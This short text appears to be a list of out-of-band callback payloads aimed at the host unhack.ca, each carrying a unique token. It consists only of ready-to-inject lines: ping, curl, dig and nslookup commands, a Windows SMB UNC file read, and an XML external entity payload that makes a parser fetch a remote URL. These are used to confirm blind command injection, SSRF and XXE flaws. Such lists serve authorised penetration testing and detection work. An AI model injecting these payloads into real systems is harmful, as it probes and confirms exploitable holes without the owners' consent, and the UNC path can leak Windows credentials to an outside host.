$ ping -c1 -p 0058184cbb9f425925895321068d1f00 unhack.ca
 

$ curl http://unhack.ca/p/58184cbb9f425925895321068d1f
 

$ dig 58184cbb9f425925895321068d1f @unhack.ca
 

$ dig 58184cbb9f425925895321068d1f.ns.unhack.ca
 

C:\> nslookup 58184cbb9f425925895321068d1f unhack.ca
 

C:\> type \\unhack.ca\58184cbb9f425925895321068d1f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/58184cbb9f425925895321068d1f">]>
    <foo>&xxe;</foo>